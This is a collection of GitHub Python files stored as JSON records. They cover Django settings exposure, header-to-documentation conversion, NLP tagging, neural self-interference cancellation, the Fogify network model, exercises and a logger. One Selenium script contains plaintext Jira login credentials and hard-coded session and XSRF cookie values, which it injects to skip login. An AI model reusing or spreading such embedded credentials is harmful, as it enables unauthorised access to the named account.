dp.hidden_size,\n dp.dropout).to(device)\n\n checkpoint = 'model003/checkpoints/mc_20_10_3_small/4'\n path = os.path.join(checkpoint, 'actor.pt')\n actor.load_state_dict(torch.load(path, device))\n\n model002.validate(data_loader, model002.decision_maker, (actor,), wp=wp, max_step=1000,\n render=False, verbose=False)\n","repo_name":"ngocbh/odmc-wrsn-benchmark","sub_path":"model003.py","file_name":"model003.py","file_ext":"py","file_size_in_byte":1856,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"61"} +{"seq_id":"44061375761","text":"from django.conf import settings as django_settings\n\ndef settings(request):\n \"\"\" Exposes some project settings in template context\n\n Exposed as a dict under `settings` template var.\n \"\"\"\n d = {\n 'settings': {k: getattr(django_settings, k, '')\n for k in django_settings.TEMPLATE_SETTINGS}\n }\n return d\n","repo_name":"vegaelle/atable","sub_path":"atable/recipes/context_processors.py","file_name":"context_processors.py","file_ext":"py","file_size_in_byte":347,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"61"} +{"seq_id":"72037043714","text":"import sys\nimport os\nimport binascii\nimport re\n\n# Converts a header file to restructured text documentation\n#\n# All text in /** */ comments becomes restructured text. Everything else is\n# included as a code-block with C syntax highlighting.\n#\n# The beginning and end of the header are removed.\n# - Find the first /** */ comment -> start of the documentation\n# - Find the last line beginning with \"#ifdef\" -> end of the documentation\n\nremove_keyword = [\" UA_EXPORT\", \" UA_FUNC_ATTR_WARN_UNUSED_RESULT\",\n \" UA_FUNC_ATTR_MALLOC\"]\n\ndef clean_comment(line):\n m = re.search(\"^( \\* |/\\*\\* )(.*?)( \\*/)?$\", line)\n if not m:\n return \"\\n\"\n return m.group(2) + \"\\n\"\n\ndef clean_line(line):\n for keyword in remove_keyword:\n line = line.replace(keyword, \"\")\n return line\n\ndef comment_start(line):\n m = re.search(\"^/\\*\\*[ \\n]\", line)\n if not m:\n return False\n return True\n\ndef comment_end(line):\n m = re.search(\" \\*/$\", line)\n if not m:\n return False\n return True\n\ndef first_line(c):\n \"Searches for the first comment\"\n for i in range(len(c)):\n if comment_start(c[i]):\n return i\n return -1\n\ndef last_line(c):\n \"Searches for the latest ifdef (closing the include guard)\"\n last = 1\n for i in range(1, len(c)):\n m = re.search(\"^#ifdef\", c[i])\n if m:\n last = i\n return last\n\nif len(sys.argv) < 2:\n print(\"Usage: python c2rst.py input.c/h output.rst\")\n exit(0)\n\nwith open(sys.argv[1]) as f:\n c = f.readlines()\n\nwith open(sys.argv[2], 'w') as rst:\n in_doc = False\n for i in range(first_line(c), last_line(c)):\n line = c[i]\n doc_start = False\n doc_end = False\n if in_doc:\n doc_end = comment_end(line)\n line = clean_comment(line)\n else:\n doc_start = comment_start(line)\n if doc_start:\n doc_end = comment_end(line)\n line = clean_comment(line)\n\n if doc_start:\n in_doc = True\n\n if not ((doc_start or doc_end) and line == \"\\n\"):\n if not in_doc:\n line = \" \" + line\n rst.write(clean_line(line))\n\n if doc_end:\n rst.write(\"\\n.. code-block:: c\\n\\n\")\n in_doc = False\n rst.write(\"\\n\")\n","repo_name":"josiasyoumbi/windowsopcuaclient","sub_path":"tools/c2rst.py","file_name":"c2rst.py","file_ext":"py","file_size_in_byte":2312,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"29042059291","text":"import time\n\nfrom selenium import webdriver\nfrom selenium.webdriver.common.by import By\n\n# driver = webdriver.Chrome()\n# driver.implicitly_wait(10)\n# driver.get(\"http://jira.okaygis.com:10025/login.jsp\")\n# driver.maximize_window()\n# driver.find_element(By.XPATH, '//*[@id=\"login-form-username\"]').send_keys('caojingwei')\n# driver.find_element(By.XPATH, '//*[@id=\"login-form-password\"]').send_keys('123456')\n# driver.find_element(By.XPATH, '//*[@id=\"login-form-submit\"]').click()\n# print(driver.get_cookies())\n# c1 = driver.get_cookies()[0]\n# c2 = driver.get_cookies()[1]\n# driver.quit()\nc1 = {\n u'domain': u'jira.okaygis.com',\n u'httpOnly': False,\n u'name': u'atlassian.xsrf.token',\n u'path': u'/',\n u'secure': False,\n u'value': u'B4CV-1XT9-1KKA-BYB1|708418d74a6977d69a641a301494dae1f45d7916|lin'\n}\nc2 = {\n u'domain': u'jira.okaygis.com',\n u'httpOnly': True,\n u'name': u'JSESSIONID',\n u'path': u'/',\n u'secure': False,\n u'value': u'E8B0A1024CF1B2127C86C7F3CF7B92FF'\n}\ndriver = webdriver.Chrome()\ndriver.implicitly_wait(10)\ndriver.get(\"http://jira.okaygis.com:10025/secure/Dashboard.jspa\")\ndriver.maximize_window()\ndriver.add_cookie(c1)\ndriver.add_cookie(c2)\ntime.sleep(5)\ndriver.refresh()","repo_name":"1668583218/test","sub_path":"selenium/cookie操作.py","file_name":"cookie操作.py","file_ext":"py","file_size_in_byte":1224,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"9606403163","text":"\nimport pandas as pd\nfrom generic_operations import print_to_file\nimport global_variables as v\nimport nltk\nfrom nltk.translate.ribes_score import position_of_ngram\n\ndef baseline_tagging(transformed_text_list):\n\n tagged_records = [];\n for sentence in transformed_text_list:\n\n s = sentence.strip().split(\" \")\n\n flag = False\n while flag is False:\n if '' in s:\n s.remove('')\n if '' not in s:\n flag = True\n\n # regular expression used for noun phrase chunking\n grammar = \"NP: {*}\"\n cp = nltk.RegexpParser(grammar)\n\n # tagged_s is a list of tuples consisting of the word and its pos tag\n if '+' not in s:\n tagged_s = nltk.pos_tag(s)\n for c, word_pos_tag_tuple in enumerate(tagged_s):\n word, pos_tag = word_pos_tag_tuple\n # only searching for the original verb\n if 'VB' in pos_tag:\n s[c] = word + '='\n elif 'JJ' in pos_tag:\n s[c] = word + '#'\n\n #noun phrase chunking for items detection\n result = cp.parse(tagged_s)\n for subtree in result.subtrees():\n if subtree.label() == 'NP':\n t = subtree\n noun_phrase_chunk = ' '.join(word for word, pos in t.leaves())\n tagged_noun_phrase_chunk = '~'.join(word for word, pos in t.leaves())\n starting_index_noun_phrase_chunk = position_of_ngram(tuple(noun_phrase_chunk.split()), s)\n s[starting_index_noun_phrase_chunk] = tagged_noun_phrase_chunk\n for i in range(1, len(t.leaves())):\n s[starting_index_noun_phrase_chunk + i] = ''\n\n s = [x for x in s if x]\n string_to_print = ' '.join(s)\n tagged_records.append(string_to_print)\n else:\n string_to_print = ' '.join(s)\n tagged_records.append(string_to_print)\n\n print_to_file(v.baseline_output_path, tagged_records, v.output_headings)\n\ndef main():\n print(\"Starting tagging: baseline\")\n\n preprocessed_data = pd.read_excel(v.transformed_text_path_stage_4, sheet_name=v.input_file_sheet_name)\n selected_data = pd.DataFrame(preprocessed_data, columns=v.input_file_columns)\n transformed_text_list = list(selected_data[v.input_file_column])\n\n baseline_tagging(transformed_text_list);\n\n print(\"tagging: baseline tagging is complete\")\n print('Now run \"validation.py\" file')\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"uwasystemhealth/Maintenance_Work_Order_Processing_Pipeline_Public","sub_path":"src/baseline.py","file_name":"baseline.py","file_ext":"py","file_size_in_byte":2589,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"61"} +{"seq_id":"71550294593","text":"import scipy.io\nfrom scipy.signal import savgol_filter\nimport numpy as np\nimport fullduplex as fd\nfrom keras.models import Model, Sequential\nfrom keras.layers import Dense, Input, SimpleRNN, Dropout\nfrom keras.optimizers import Adam\nimport matplotlib.pyplot as plt\nimport os\n\n# This line disables the use of the GPU for training. The dataset is not large enough to get\n# significant gains from GPU training and, in fact, sometimes training can even be slower on\n# the GPU than on the CPU. Comment out to enable GPU use.\nos.environ['CUDA_VISIBLE_DEVICES'] = '-1'\n\n# Define system parameters\nparams = {\n\t\t'samplingFreqMHz': 20,\t# Sampling frequency, required for correct scaling of PSD\n\t\t'hSILen': 13,\t\t\t# Self-interference channel length\n\t\t'pamaxordercanc': 7,\t# Maximum PA non-linearity order\n\t\t'trainingRatio': 0.9,\t# Ratio of total samples to use for training\n\t\t'dataOffset': 14,\t\t# Data offset to take transmitter-receiver misalignment into account\n\t\t'nHidden': 17,\t\t\t# Number of hidden layers in NN\n\t\t'nEpochs': 20,\t\t\t# Number of training epochs for NN training\n\t\t'learningRate': 0.004,\t# Learning rate for NN training\n\t\t'batchSize': 32,\t\t# Batch size for NN training\n\t\t}\n\n##### Load and prepare data #####\n\nx, y, noise, measuredNoisePower = fd.loadData('data/fdTestbedData20MHz10dBm', params)\n\n# Get self-interference channel length\nchanLen = params['hSILen']\n\n# Create feedforward NN using Keras\nnHidden = params['nHidden']\nnEpochs = params['nEpochs']\ninput = Input(shape=(2*chanLen,))\nhidden1 = Dense(nHidden, activation='relu')(input)\noutput1 = Dense(1, activation='linear')(hidden1)\noutput2 = Dense(1, activation='linear')(hidden1)\nmodel = Model(inputs=input, outputs=[output1, output2])\nadam = Adam(lr=params['learningRate'])\nmodel.compile(loss = \"mse\", optimizer = adam)\nprint(\"Total number of real parameters to estimate for neural network based canceller: {:d}\".format((2*chanLen+1)*nHidden + 2*(nHidden+1)+2*chanLen))\n\n# Split into training and test sets\ntrainingSamples = int(np.floor(x.size*params['trainingRatio']))\nx_train = x[0:trainingSamples]\ny_train = y[0:trainingSamples]\nx_test = x[trainingSamples:]\ny_test = y[trainingSamples:]\n\n##### Training #####\n# Step 1: Estimate linear cancellation arameters and perform linear cancellation\nhLin = fd.SIestimationLinear(x_train, y_train, params)\nyCanc = fd.SIcancellationLinear(x_train, hLin, params)\n\n# Normalize data for NN\nyOrig = y_train\ny_train = y_train - yCanc\nyVar = np.var(y_train)\ny_train = y_train/np.sqrt(yVar)\n\n# Prepare training data for NN\nx_train_real = np.reshape(np.array([x_train[i:i+chanLen].real for i in range(x_train.size-chanLen)]), (x_train.size-chanLen, chanLen))\nx_train_imag = np.reshape(np.array([x_train[i:i+chanLen].imag for i in range(x_train.size-chanLen)]), (x_train.size-chanLen, chanLen))\nx_train = np.zeros((x_train.size-chanLen, 2*chanLen))\nx_train[:,0:chanLen] = x_train_real\nx_train[:,chanLen:2*chanLen] = x_train_imag\ny_train = np.reshape(y_train[chanLen:], (y_train.size-chanLen, 1))\n\n# Prepare test data for NN\nyCanc = fd.SIcancellationLinear(x_test, hLin, params)\nyOrig = y_test\ny_test = y_test - yCanc\ny_test = y_test/np.sqrt(yVar)\n\nx_test_real = np.reshape(np.array([x_test[i:i+chanLen].real for i in range(x_test.size-chanLen)]), (x_test.size-chanLen, chanLen))\nx_test_imag = np.reshape(np.array([x_test[i:i+chanLen].imag for i in range(x_test.size-chanLen)]), (x_test.size-chanLen, chanLen))\nx_test = np.zeros((x_test.size-chanLen, 2*chanLen))\nx_test[:,0:chanLen] = x_test_real\nx_test[:,chanLen:2*chanLen] = x_test_imag\ny_test = np.reshape(y_test[chanLen:], (y_test.size-chanLen, 1))\n\n##### Training #####\n# Step 2: train NN to do non-linear cancellation\nhistory = model.fit(x_train, [y_train.real, y_train.imag], epochs = nEpochs, batch_size = params['batchSize'], verbose=2, validation_data= (x_test, [y_test.real, y_test.imag]))\n\n##### Test #####\n# Do inference step\npred = model.predict(x_test)\nyCancNonLin = np.squeeze(pred[0] + 1j*pred[1], axis=1)\n\n##### Evaluation #####\n# Get correctly shaped test and cancellation data\ny_test = yOrig[chanLen:]\nyCanc = yCanc[chanLen:]\n\n# Calculate various signal powers\nnoisePower = 10*np.log10(np.mean(np.abs(noise)**2))\nscalingConst = np.power(10,-(measuredNoisePower-noisePower)/10)\nnoise /= np.sqrt(scalingConst)\ny_test /= np.sqrt(scalingConst)\nyCanc /= np.sqrt(scalingConst)\nyCancNonLin /= np.sqrt(scalingConst)\n\n# Plot PSD and get signal powers\nnoisePower, yTestPower, yTestLinCancPower, yTestNonLinCancPower = fd.plotPSD(y_test, yCanc, yCancNonLin, noise, params, 'NN', yVar)\n\n# Print cancellation performance\nprint('')\nprint('The linear SI cancellation is: {:.2f} dB'.format(yTestPower-yTestLinCancPower))\nprint('The non-linear SI cancellation is: {:.2f} dB'.format(yTestLinCancPower-yTestNonLinCancPower))\nprint('The noise floor is: {:.2f} dBm'.format(noisePower))\nprint('The distance from noise floor is: {:.2f} dB'.format(yTestNonLinCancPower-noisePower))\n\n# Plot learning curve\nplt.plot(np.arange(1,len(history.history['loss'])+1), -10*np.log10(history.history['loss']), 'bo-')\nplt.plot(np.arange(1,len(history.history['loss'])+1), -10*np.log10(history.history['val_loss']), 'ro-')\nplt.ylabel('Self-Interference Cancellation (dB)')\nplt.xlabel('Training Epoch')\nplt.legend(['Training Frame', 'Test Frame'], loc='lower right')\nplt.grid(which='major', alpha=0.25)\nplt.xlim([ 0, nEpochs+1 ])\nplt.xticks(range(1,nEpochs,2))\nplt.savefig('figures/NNconv.pdf', bbox_inches='tight')\nplt.show()\n","repo_name":"abalatsoukas/fdnn","sub_path":"NNCancellation.py","file_name":"NNCancellation.py","file_ext":"py","file_size_in_byte":5452,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"61"} +{"seq_id":"30899278330","text":"import copy\nfrom abc import ABC\n\nfrom FogifyModel.actions import NetworkAction\n\n\nclass BaseModel(ABC):\n class ModelValidationException(Exception):\n pass\n\n def __init__(self, data=None):\n self.__dict__ = data if data is not None else {}\n self.validate()\n\n def __repr__(self):\n return self.__str__()\n\n def validate(self):\n \"\"\"This method validates the model\"\"\"\n pass\n\n\nclass Node(BaseModel):\n name = ''\n capabilities = {}\n node_specifications = []\n\n def __str__(self):\n return \"cpu: %s, memory: %s, node specifications: %s\" % (\n self.capabilities['processor'], self.capabilities['memory'], self.node_specifications)\n\n def get_memory_unit(self) -> str:\n return self.get_memory()[-1]\n\n def get_memory(self) -> str:\n return self.capabilities['memory']\n\n def get_memory_value_in_gb(self) -> float:\n return float(self.get_memory()[:-1]) if self.get_memory_unit() == \"G\" else float(self.get_memory()[:-1]) / 1024\n\n def get_processor_cores(self):\n return int(self.capabilities['processor']['cores'])\n\n def get_processor_clock_speed(self):\n return int(self.capabilities['processor']['clock_speed'])\n\n def get_specifications(self) -> []:\n return self.node_specifications\n\n def validate(self):\n if self.get_memory_unit() not in [\"G\", \"M\"]:\n raise Node.ModelValidationException(\"Model does not provide other metrics than G or M\")\n\n\nclass Network(BaseModel):\n \"\"\" This class is the intermediate model of the network model\"\"\"\n capacity = None\n uplink = {}\n downlink = {}\n links = []\n packet_level_monitoring = False\n firewall_rules = []\n\n @classmethod\n def get_bidirectional_links(cls, input):\n res = copy.deepcopy(input)\n latency = res.get('latency', {}).get('delay')\n if latency:\n latency = str(latency).strip()\n latency_metric = \"ms\"\n if latency.endswith('ms'):\n latency = latency[:-2]\n if latency.endswith('s'):\n latency = latency[:-1]\n latency_metric = \"s\"\n res['latency']['delay'] = \"%.2f\" % (float(latency) / 2) + latency_metric\n deviation = res.get('latency', {}).get('deviation')\n if latency and deviation:\n deviation = res['latency']['deviation']\n deviation = deviation.strip()\n deviation_metric = \"ms\"\n if deviation.endswith('ms'):\n deviation = deviation[:-2]\n if deviation.endswith('s'):\n deviation = deviation[:-1]\n deviation_metric = \"s\"\n res['latency']['deviation'] = \"%.2f\" % (float(deviation) / 2) + deviation_metric\n if 'drop' in res:\n drop = res['drop'].strip()\n drop = drop[:-1] if drop.endswith('%') else drop\n res['drop'] = \"%.2f\" % (float(drop) / 2) + '%'\n return NetworkAction(**res)\n\n def get_uplink(self):\n if self.uplink != {}:\n return NetworkAction(**self.uplink)\n elif hasattr(self, 'bidirectional'):\n return self.get_bidirectional_links(copy.deepcopy(self.bidirectional))\n else:\n raise Network.ModelValidationException(\n \"You have to specify uplink or bidirectional characteristics (%s)\" % self.__dict__)\n\n def get_downlink(self):\n if self.downlink != {}:\n return NetworkAction(**self.downlink)\n elif hasattr(self, 'bidirectional'):\n return self.get_bidirectional_links(copy.deepcopy(self.bidirectional))\n else:\n raise Network.ModelValidationException(\n \"You have to specify uplink or bidirectional characteristics (%s)\" % self.__dict__)\n\n def __str__(self):\n return \"uplink: %s , downlink: %s \" % (self.get_uplink(), self.get_uplink())\n\n @property\n def get_links(self):\n res = []\n for i in self.links:\n res.extend(self.get_link(i))\n return res\n\n @classmethod\n def get_link(cls, link):\n temp = []\n from_to, to_from = cls.get_link_rules(copy.deepcopy(link))\n if from_to:\n temp.append(dict(from_node=link['from_node'], to_node=link['to_node'], command=from_to))\n if to_from:\n temp.append(dict(from_node=link['to_node'], to_node=link['from_node'], command=to_from))\n return temp\n\n @classmethod\n def get_link_rules(cls, link):\n from_to, to_from = None, None\n if 'from_node' in link and 'to_node' in link:\n if 'properties' in link:\n from_to = {'uplink': cls.get_bidirectional_links(link['properties']).get_command(),\n 'downlink': cls.get_bidirectional_links(link['properties']).get_command(), }\n\n elif 'uplink' in link and 'downlink' in link:\n from_to = {'uplink': NetworkAction(**link['uplink']).get_command(),\n 'downlink': NetworkAction(**link['downlink']).get_command()}\n else:\n raise Network.ModelValidationException(\"The link has not the proper structure\", str(link))\n if 'bidirectional' in link and link['bidirectional']:\n to_from = {'uplink': from_to['uplink'], 'downlink': from_to['downlink'], }\n return from_to, to_from\n\n @property\n def network_record(self):\n res = {}\n if self.capacity is not None: res['capacity'] = self.capacity\n res['uplink'] = self.get_uplink().get_command()\n res['downlink'] = self.get_downlink().get_command()\n res['packet_level_monitoring'] = self.get_packet_level_monitoring()\n res['firewall_rules'] = self.get_firewall_rules()\n return res\n\n def get_packet_level_monitoring(self):\n return str(self.packet_level_monitoring).lower() == 'true'\n\n def get_firewall_rules(self):\n return self.firewall_rules\n\n\nclass Topology(object):\n \"\"\" This class represents a topology object capable to be translated to the underlying container orchestrator\"\"\"\n\n def __init__(self, node, service, label, replicas=1, networks=None):\n self.node = node\n self.service = service\n self.label = label\n self.replicas = replicas\n self.networks = networks if networks else []\n\n def __str__(self):\n return \"node: %s, service: %s, replicas: %s, networks: %s \" % (\n self.node, self.service, self.replicas, self.networks)\n\n @property\n def service_name(self):\n return \"%s\" % (self.label)\n\n\nclass Deployment(BaseModel):\n \"\"\"\n This class represents a deployment of a topology. In the deployment, there are many topologies,\n however, in the first version of Fogify users can only deploy one topology.\n \"\"\"\n\n topology = []\n\n def get_topologies(self):\n return [Topology(**i) for i in self.topology]\n\n def __str__(self):\n return str([str(i) for i in self.get_topologies()])\n\n\nclass FogifyModel(object):\n \"\"\"\n This class is responsible for parsing and translating the Fogify's model to an abstract representation.\n \"\"\"\n\n nodes = []\n networks = []\n deployments = []\n\n def __init__(self, data):\n fogify = data[\"x-fogify\"]\n self.services = data[\"services\"] if \"services\" in data else []\n self.nodes = [Node(i) for i in fogify['nodes']] if 'nodes' in fogify else []\n self.networks = [Network(i) for i in fogify['networks']] if 'networks' in fogify else []\n self.deployment = Deployment({\"topology\": fogify['topology']}) if 'topology' in fogify else None\n\n @property\n def all_networks(self):\n res = [{'name': network.name} for network in self.networks]\n res = self.__get_networks_from_services(res)\n return res\n\n def __get_networks_from_services(self, res):\n for topology in self.topology:\n service = copy.deepcopy(self.services[topology.service])\n if 'networks' not in service: continue\n for network in service['networks']:\n if network not in [i['name'] for i in res]:\n res.append({\"name\": network})\n return res\n\n @property\n def topology(self):\n return self.deployment.get_topologies()\n\n def __repr__(self):\n return \"Nodes: %s , Networks: %s , Deployment: %s , Services: %s\" % (\n self.nodes, self.networks, self.deployment, self.services)\n\n def node_object(self, node_name):\n real_node = None\n for node in self.nodes:\n if node.name == node_name:\n real_node = node\n break\n if real_node is None:\n raise BaseModel.ModelValidationException(\"Model Error: the node specs do not exist\")\n return real_node\n\n def network_object(self, network_object):\n real_node = None\n extra_name = \"\"\n if type(network_object) == dict:\n up_down_links = 'uplink' not in network_object or 'downlink' not in network_object\n bidirectional = 'bidirectional' not in network_object\n name_exists = 'name' in network_object\n if up_down_links and bidirectional and name_exists:\n extra_name = network_object['name']\n if type(network_object) == str:\n extra_name = network_object\n for node in self.networks:\n if node.name == extra_name:\n real_node = node\n break\n\n if real_node is None and type(network_object) != str: return Network(network_object)\n\n if real_node is None: raise BaseModel.ModelValidationException(\"Model Error: the network specs do not exist\")\n\n return real_node\n\n def service_count(self):\n res = sum([i.replicas for i in self.topology])\n if res == 0:\n raise BaseModel.ModelValidationException(\"Services do not exist in your model\")\n return res\n\n @property\n def topology(self): return self.deployment.get_topologies()\n\n def generate_network_rules(self):\n res = {}\n mode_topology = self.topology\n for fognode in mode_topology:\n res[fognode.service_name] = {}\n for network_name in fognode.networks:\n network = self.network_object(network_name)\n\n if network is None: continue\n\n if fognode.service_name not in res:\n res[fognode.service_name] = network.network_record\n\n res[fognode.service_name][network.name] = network.network_record\n res[fognode.service_name][network.name]['links'] = [i for i in network.get_links if\n i['from_node'] == fognode.service_name]\n\n return res\n","repo_name":"UCY-LINC-LAB/fogify","sub_path":"FogifyModel/base.py","file_name":"base.py","file_ext":"py","file_size_in_byte":10746,"program_lang":"python","lang":"en","doc_type":"code","stars":24,"dataset":"github-code","pt":"61"} +{"seq_id":"3722732876","text":"\"\"\"\r\n@author VRAJ PATEL (20CE111)\r\n\"\"\"\r\n#Write a Python program to find the most common elements and their counts from list, tuple, dictionary.\r\n#most common from list\r\ndef commonelementfinder(list):#this is a function which will take list/tuple as argument and then it will convert them to set and return the most common element in them\r\n return max(set(list), key = list.count)#i have used this function to find common element and count function to count the frequency of the common element\r\nprint('Q5) Write a Python program to find the most common elements and their counts from list, tuple, dictionary.'.title())\r\nprint('now implementing the following Question ...'.title(),'\\n')\r\nLIST = [8, 4, 8, 4, 44, 88,8,8,888,444,444,8888,8,4,8,8,4]\r\na=commonelementfinder(LIST)\r\nprint('This is the list from which we are going to find most common element and its count : '.title(),LIST,'\\nThe most common element from the above list is : '.title(),a,'and it occurs '.title(),LIST.count(a),'times in the list'.title(),'\\n')\r\n#most common from tuple\r\nTUP = (888, 4, 88, 4, 4,4,4,8,888,444,444,8888,8,4,4,8,4)\r\na=commonelementfinder(TUP)\r\nprint('This is the tuple from which we are going to find most common element and its count : '.title(),TUP,'\\nThe most common element from the above tuple is : '.title(),a,'and it occurs '.title(),TUP.count(a),'times in the Tuple'.title(),'\\n')\r\n#most common from dictionary\r\nDICT={1:88,2:22,3:33,4:88,5:88,6:44,7:34,8:88}\r\nLiST=list(DICT.values())\r\na=commonelementfinder(LiST)\r\nprint('This is the Dictionary from which we are going to find most common element and its count : '.title(),DICT,'\\nThe most common element from the above dictionary is : '.title(),a,'and it occurs '.title(),LiST.count(a),'times in the Dictonary'.title())\r\n","repo_name":"Vraj08/PythonPractical","sub_path":"set_1.5.py","file_name":"set_1.5.py","file_ext":"py","file_size_in_byte":1772,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"6234017344","text":"# coding=utf-8\n\nimport logging\nfrom os import renames\nfrom os.path import isfile\n\nclass ConfigureLogger(object):\n\n def __init__(self, logFile):\n self.logger = logging.getLogger('MediaCatalog')\n \n if isfile(logFile):\n renames(logFile, logFile + \".old\")\n \n self.fileHandler = logging.FileHandler(logFile)\n self.fileHandler.setFormatter(logging.Formatter(u'%(filename)s[LINE:%(lineno)d]# %(levelname)-8s [%(asctime)s] %(message)s'))\n \n self.consoleHandler = logging.StreamHandler()\n self.consoleHandler.setFormatter(logging.Formatter(u'%(filename)s[LINE:%(lineno)d]# %(levelname)-8s [%(asctime)s] %(message)s'))\n \n self.logger.setLevel(logging.DEBUG)\n self.logger.addHandler(self.fileHandler)\n \n def getLogger(self):\n return self.logger\n \n def setLogLevel(self, logLevel):\n if logLevel == 'CRITICAL':\n self.logger.setLevel(logging.CRITICAL)\n elif logLevel == 'ERROR':\n self.logger.setLevel(logging.ERROR)\n elif logLevel == 'WARN' or logLevel == 'WARNING':\n self.logger.setLevel(logging.WARNING)\n elif logLevel == 'INFO':\n self.logger.setLevel(logging.INFO)\n elif logLevel == 'DEBUG':\n self.logger.setLevel(logging.DEBUG)\n \n def plugOnConsoleHandler(self):\n self.logger.addHandler(self.consoleHandler)\n \n def plugOffConsoleHandler(self):\n self.logger.removeHandler(self.consoleHandler)\n\n def plugOnFileHandler(self):\n self.logger.addHandler(self.fileHandler)\n \n def plugOffFileHandler(self):\n self.logger.removeHandler(self.fileHandler)","repo_name":"DmitryErmolchik/MediaCatalog","sub_path":"configuration/configuredlogger.py","file_name":"configuredlogger.py","file_ext":"py","file_size_in_byte":1698,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"23574548331","text":"##import ???\n\n##fuck the fact that [[n]*k]*k creates multiple reference to the same list\n##fuck you very much\ndef cfill(cboard):\n n = len(cboard)\n adset = set()\n suset = set()\n for row in range(n):\n for col in range(n):\n if cboard[row][col]:\n adset.add(row + col)\n suset.add(row - col)\n fillboard = [[False] * n for i in range(n)]\n for row in [0, n-1]:\n for col in range(n):\n if row + col not in adset and row - col not in suset:\n fillboard[row][col] = True\n adset.add(row + col)\n suset.add(row - col)\n return fillboard\n \ndef xfill(xboard):\n n = len(xboard)\n rowset = set()\n colset = set()\n for row in range(n):\n for col in range(n):\n if xboard[row][col]:\n rowset |= set([row])\n colset |= set([col])\n fillboard = [[False] * n for i in range(n)]\n for row in range(n):\n for col in range(n):\n if row not in rowset and col not in colset:\n fillboard[row][col] = True\n rowset |= set([row])\n colset |= set([col])\n return fillboard\n \ndef main():\n\n ##f1=open(r'C:\\Users\\mumin\\Documents\\gcj\\testfile.in','r')\n ##f2=open(r'C:\\Users\\mumin\\Documents\\gcj\\testfile.out','w') \n f1=open(r'C:\\Users\\mumin\\Documents\\gcj\\D-small-attempt1.in','r')\n f2=open(r'C:\\Users\\mumin\\Documents\\gcj\\D-small-attempt1.out','w')\n ##f1=open(r'C:\\Users\\mumin\\Documents\\gcj\\A-large.in','r')\n ##f2=open(r'C:\\Users\\mumin\\Documents\\gcj\\A-large.out','w')\n numofcases = int(f1.readline()[:-1])\n linenum = 0\n while linenum < numofcases:\n linenum += 1\n line = f1.readline()\n n = int(line[:line.find(' ')])\n m = int(line[line.find(' ')+1:-1])\n cboard = [[False] * n for i in range(n)]\n xboard = [[False] * n for i in range(n)]\n for i in range(m):\n line = f1.readline()\n mem = line[:-1].split(' ')\n if mem[0] == '+':\n cboard[int(mem[1])-1][int(mem[2])-1] = True\n elif mem[0] == 'x':\n xboard[int(mem[1])-1][int(mem[2])-1] = True\n elif mem[0] == 'o':\n cboard[int(mem[1])-1][int(mem[2])-1] = True\n xboard[int(mem[1])-1][int(mem[2])-1] = True\n cfb = cfill(cboard)\n xfb = xfill(xboard)\n changes = []\n score = 0\n for row in range(n):\n for col in range(n):\n score += xboard[row][col] + cboard[row][col] + xfb[row][col] + cfb[row][col]\n if cfb[row][col]:\n if xboard[row][col] or xfb[row][col]:\n changes.append('o {} {}'.format(row+1, col+1))\n else:\n changes.append('+ {} {}'.format(row+1, col+1))\n elif xfb[row][col]:\n if cboard[row][col]:\n changes.append('o {} {}'.format(row+1, col+1))\n else:\n changes.append('x {} {}'.format(row+1, col+1))\n f2.write('Case #{}: {} {}\\n'.format(linenum, score, len(changes)))\n for change in changes:\n f2.write(change + '\\n')\n\n f1.close()\n f2.close() \n\nif __name__ == '__main__':\n main()","repo_name":"dr-dos-ok/Code_Jam_Webscraper","sub_path":"solutions_python/Problem_202/96.py","file_name":"96.py","file_ext":"py","file_size_in_byte":2907,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"71149376194","text":"# Exercise # 02 Solution and understanding\r\n\r\nimport time\r\n\r\nt = time.strftime('%H : %M : %S')\r\n\r\nprint(t)\r\nhour = int(time.strftime('%H'))\r\n\r\nhour = int(input(\"Enter Hours : \"))\r\n\r\n# print(hour)\r\n\r\nif(hour>=6 and hour<12):\r\n print(\"Good Morning!!!\")\r\n\r\nelif(hour>=12 and hour<15):\r\n print(\"Good AfterNoon !!!\")\r\n\r\nelif(hour>=15 and hour<18):\r\n print(\"Good Evening!!!\")\r\n\r\nelif(hour>=18 and hour<23):\r\n print(\"Good Night!!!\")\r\n\r\nelif(hour>=0 and hour<4):\r\n print(\"Good Night!!!\")","repo_name":"owaisnadeem18/Python_Zero_To_Hero","sub_path":"Day - 26/Day-26_python.py","file_name":"Day-26_python.py","file_ext":"py","file_size_in_byte":494,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"23424771821","text":"# f = open('B-small-attempt1.in')\nf = open('B-large.in')\ncount = int(f.readline())\noutput = ''\nfor x in range(1,count + 1):\n arr = f.readline().split()\n cost = float(arr[0])\n production = float(arr[1])\n goal = float(arr[2])\n\n # max = int(goal/cost)\n # min = 0\n # mid = max/2\n time = 0.0\n fcount = 0\n if production * goal / cost - 2 <= 0:\n time = goal/2\n else:\n fcount = int((production * goal / cost - 2)/production)\n\n for y in range(0,fcount+1):\n if y == fcount:\n time += goal / (fcount * production + 2)\n else:\n time += cost/(2+y*production)\n\n\n output += 'Case #' + str(x) + ': '+str(time)+'\\n'\n\n\nprint(output)\nnewf = open('output.txt','w')\nnewf.write(output)\n","repo_name":"dr-dos-ok/Code_Jam_Webscraper","sub_path":"solutions_python/Problem_136/2399.py","file_name":"2399.py","file_ext":"py","file_size_in_byte":771,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"6027315185","text":"\nfrom pyrogram import Client, filters\nfrom pyrogram.types import Message, InlineKeyboardMarkup, InlineKeyboardButton\nfrom RaiChu.config import BOT_NAME as bn\nfrom Process.filters import other_filters2\nfrom time import time\nfrom datetime import datetime\nfrom Process.decorators import 